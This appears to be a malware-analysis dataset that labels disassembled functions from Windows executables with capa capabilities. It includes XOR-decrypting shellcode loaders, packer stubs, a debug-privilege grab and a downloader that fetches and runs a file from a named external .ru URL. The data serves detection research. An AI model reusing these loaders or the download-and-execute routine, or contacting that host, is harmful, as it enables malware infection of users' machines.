joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb07d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb07d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xb07d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xb07d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xb07d94
push eax
push esi
call fcn.00b0a20b
add esp, 8
pop esi
ret 0x10

Function at 0xb07da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb07e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xb07e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xb20320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b09dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xb07dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xb07e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xb07ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xb07eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xb20320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00b09dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xb07eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xb07e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xb08000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xb08131
push esi
call fcn.00b0b145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00afa080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xb08131
push 0
push ebp
call fcn.00afa3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00afa260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xb0808b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00afa2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xb08121
push 0xb20918
push edi
call fcn.00b093f0
push eax
push ebx
push esi
call fcn.00b07f60
push 0xb208f8
push edi
call fcn.00b093f0
push eax
push ebx
push esi
call fcn.00b07f60
push 0xb208d8
push edi
call fcn.00b093f0
push eax
push ebx
push esi
call fcn.00b07f60
push 0xb208c0
push edi
call fcn.00b093f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00b07f60
push 0xb208a0
push edi
call fcn.00b093f0
push eax
push ebx
push esi
call fcn.00b07f60
push 0xb20888
push edi
call fcn.00b093f0
push eax
push ebx
push esi
call fcn.00b07f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xb091b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00b09140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00b09140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00b09140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00b09140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xb09bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xb09c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xb1b87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xb09c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xb09c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x402c00
pop dword [ebp - 0x24]
mov eax, 0x402c00
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xa10e699
sub dword [ebp - 0x34], 0xbbbea14e
mov dword [ebp - 0x30], 0x99d9d329
sub dword [ebp - 0x30], 0x67a686e4
mov dword [ebp - 0x2c], 0x337a82ab
add dword [ebp - 0x2c], 0x18d1c183
mov dword [ebp - 0x28], 0xc7c79b15
add dword [ebp - 0x28], 0x383864eb
lea eax, [ebp - 0x34]
push eax
mov eax, 0xf09956ab
add eax, 0xfa729e1
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x7e7d2870
sub dword [ebp - 0x34], 0xa0abf1a
mov dword [ebp - 0x30], 0xdc28e2be
sub dword [ebp - 0x30], 0x9abc8149
mov dword [ebp - 0x2c], 0x7594622e
add dword [ebp - 0x2c], 0xeddb0a3e
mov dword [ebp - 0x28], 0x10f615fd
add dword [ebp - 0x28], 0xef09ea03
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x272270a
sub eax, 0x231a636
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x386d2
push 0
call eax
mov ecx, 0xb1e75b83
sub ecx, 0xb1e70c90
xor esi, esi
add esi, eax
mov edi, 0x411000
add edi, dword [ebp - 0x24]
mov edx, 0x1c2b005d
add edx, 0xf650412c
mov dword [ebp - 0x10], 0xaf8d9e81
mov ebx, dword [edi]
xor ebx, edx
sub dword [ebp - 0xc], 0x2b5dc2ba
mov dword [esi], ebx
xor dword [ebp - 0x18], edi
add esi, 4
add edi, 0xe4a33935
sub edi, 0xe4a33931
loop 0x402d19
add eax, 0xc1088204
sub eax, 0xc1075365
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x41b1d47a
sub ecx, 0x4171d47a
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x10010730
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001073f
pop dword [ebp - 0x14]
mov eax, 0x1001073f
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x26231bd4
sub dword [ebp - 0x24], 0xd7d0d689
mov dword [ebp - 0x20], 0x39a85dc9
sub dword [ebp - 0x20], 0x7751184
mov dword [ebp - 0x1c], 0x228679c8
add dword [ebp - 0x1c], 0x29c5ca66
mov dword [ebp - 0x18], 0xc3ffd0fc
add dword [ebp - 0x18], 0x3c002f04
lea eax, [ebp - 0x24]
push eax
mov eax, 0xae03c4a7
sub eax, 0x9e021497
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xbae7a9a9
add dword [ebp - 0x24], 0xb98abfad
mov dword [ebp - 0x20], 0x2bee1cf6
sub dword [ebp - 0x20], 0xea81bb81
mov dword [ebp - 0x1c], 0xcf22005
add dword [ebp - 0x1c], 0x567d4c67
mov dword [ebp - 0x18], 0xfc427560
add dword [ebp - 0x18], 0x3bd8aa0
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x422c3
push 0
call eax
mov ecx, 0xcd5b25e
sub ecx, 0xcd55abd
mov edi, eax
mov ebx, 0x4a7bbce8
add ebx, 0xc586f318
add ebx, dword [ebp - 0x14]
mov edx, 0xfc41564f
add edx, 0xfa33003d
sub dword [ebp - 0x10], 0x9a6b8891
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xa690ddce
add esi, edx
add dword [ebp - 0x10], eax
mov dword [edi], esi
add edi, 4
add ebx, 0x4d33c68d
add ebx, 0xb2cc3977
loop 0x10010857
add eax, 0x15157
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x48dc219
add ecx, 0xb723de7
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40f22e
Capabilities:
Create pipe

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi + 0x84], edi
jne 0x40f2cb
push edi
xor ebx, ebx
mov dword [esi + 0x84], 2
inc ebx
push ebx
push edi
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov dword [esi + 0x44], eax
test eax, eax
je 0x40f2cb
push edi
push edi
push ebx
push edi
call dword [sym.imp.kernel32.dll_CreateEventW]
mov dword [esi + 0x9c], eax
test eax, eax
je 0x40f2cb
push 4
push 0xffffffffffffffff
push esi
push 0x40f9e5
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.kernel32.dll_RegisterWaitForSingleObject]
test eax, eax
je 0x40f2cb
lea eax, [esi + 0x20]
cmp dword [eax + 0x14], 8
jb 0x40f296
mov eax, dword [eax]
push dword [esi + 0x38]
push edi
push 0x40
push 0x40
push ebx
push 6
push 0x40080003
push eax
call dword [sym.imp.kernel32.dll_CreateNamedPipeW]
mov dword [esi + 0x3c], eax
cmp eax, 0xffffffff
je 0x40f2cb
push dword [esi + 0x9c]
call dword [sym.imp.kernel32.dll_SetEvent]
test eax, eax
jne 0x40f2d1
mov dword [esi + 0x84], ebx
xor al, al
pop edi
pop esi
pop ebx
ret
mov al, bl
jmp 0x40f2cd

Function at 0x413ca1
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x413cb1
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x413cb7
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x413cdf
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x438830]
test ax, ax
jne 0x413cc6
mov esi, ecx
jmp 0x413ce2
movzx esi, si
pop edi
cmp cx, si
je 0x413cff
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x438830]
test cx, cx
jne 0x413ce3
mov eax, 0x437338
jmp 0x413d07
imul eax, edx, 0x1a
add eax, 0x438832
push eax
mov ecx, ebx
call main
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x425e66
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x425e75
pop dword [ebp - 8]
mov eax, 0xb095ea1a
add eax, 0x4fac745b
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x41a97
push 0
mov eax, 0x7a3a22cf
add eax, 0x8608a02d
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xcc9a18a2
sub ecx, 0xcc99d554
mov ebx, eax
mov esi, 0x60541092
sub esi, 0x600f8892
add esi, dword [ebp - 8]
mov edx, 0x27658084
add edx, 0xf61cb26e
mov edi, dword [esi]
xor dword [ebp - 4], 0x15fefaa1
xor edi, edx
mov dword [ebp - 4], 0x249a8847
mov dword [ebx], edi
add ebx, 4
add esi, 4
loop 0x425ed4
add eax, 0xda9263ab
add eax, 0x256e9c60
mov ebx, eax
add eax, 0x2d2c84c6
sub eax, 0x2d2c84c1
mov ecx, 0x69cbccd5
add ecx, 0x9674332b
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x46c65fea
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x1e6f5b08
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x405a71
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40d9fb
call fcn.0040c9ff
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x415350]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x405be2
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x405be2
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405be2
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x405be2
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x405b5b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x405bd4
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x405bd4
mov ecx, 0x1234
cmp cx, ax
jne 0x405bd4
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x405bae
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x405ac9
mov eax, edi
call fcn.0040c9ba
ret 4

Function at 0x408578
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x408587
pop dword [ebp - 0x1c]
mov eax, 0xc17889d6
sub eax, 0xc138044f
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3820e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x46ae
xor edx, edx
add edx, eax
mov ebx, 0xbf21a10d
add ebx, 0x411ff6f3
add ebx, dword [ebp - 0x1c]
mov edi, 0x3dbcda52
sub edi, 0x2c7a8d7c
mov esi, dword [ebx]
sub dword [ebp - 4], ecx
xor esi, edi
sub dword [ebp - 0xc], ecx
mov dword [edx], esi
add dword [ebp - 0x18], esi
add edx, 4
add ebx, 0xef4deac3
add ebx, 0x10b21541
loop 0x4085dd
add eax, 0x10d8b
mov ebx, eax
add eax, 5
mov ecx, 0xb62e1523
sub ecx, 0xb5ee1523
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10001300
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x100013b1
lea eax, [ebp - 0x414]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x414]
push eax
push str._s_temp.png
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x20c]
push 0
push 0
push eax
push str.http:__a0914428.xsph.ru_image.png
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jns 0x10001379
push 0x10
push str.Error
push str.Failed_to_download_the_executable_file.
jmp 0x100013a4
push 1
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x100013ac
push 0x10
push str.Error
push str.Failed_to_launch_the_executable_file.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call fcn.10001040
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.100013c6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401440
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0xbbeaf81f
xor ebx, 0xbfeaf81f
jmp 0x4014f0
mov edx, 0xa919783e
xor edx, 0xa919783a
mov ecx, 0x25135daf
xor ecx, 0x25136daf
mov eax, 0x500
ror eax, 0x1c
push edx
push ecx
push eax
mov edx, dword [ebp - 0xb4]
rol edx, 4
rol edx, 0xa
mov dword [ebp - 8], edx
push ebx
call fcn.00401644
push esi
pop ecx
mov ebx, eax
test ebx, ebx
je 0x4014f0
sub ebx, 0x86b78ac7
mov dword [ebp - 0x10], ebx
ret
Function at 0x608b60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0xfc3000
lea edi, [esi - 0x1b2000]
push edi
jmp 0x608b7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x608b81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608b70
mov eax, 1
add ebx, ebx
jne 0x608b93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x608ba4
jne 0x608bc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608bc3
dec eax
add ebx, ebx
jne 0x608bb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x608b88
add ebx, ebx
jne 0x608bbf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x608c15
xor ecx, ecx
sub eax, 3
jb 0x608bdb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x608c4a
sar eax, 1
mov ebp, eax
jmp 0x608be6
add ebx, ebx
jne 0x608be6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608bb4
inc ecx
add ebx, ebx
jne 0x608bf4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x608bb4
add ebx, ebx
jne 0x608c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x608bf6
jne 0x608c12
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x608bf6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x608c34
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x608c26
jmp 0x608b76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x608c34
add edi, ecx
jmp 0x608b76
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x608c52
cmp byte [edi], 0x11
jne 0x608c52
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x608c57
lea edi, [esi + 0x201000]
mov eax, dword [edi]
or eax, eax
je 0x608ccf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x337fa0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x33811c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x608c84
mov ecx, edi
jns 0x608cb3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x338120]
or eax, eax
je 0x608cc9
mov dword [ebx], eax
add ebx, 4
jmp 0x608ca1
call dword [esi + 0x338130]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x608d00
cmp al, 0xef
ja 0x608cf3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x608cd5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x608ce2
mov ebp, dword [esi + 0x338124]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x608d34
sub esp, 0xffffff80
jmp 0x427f4a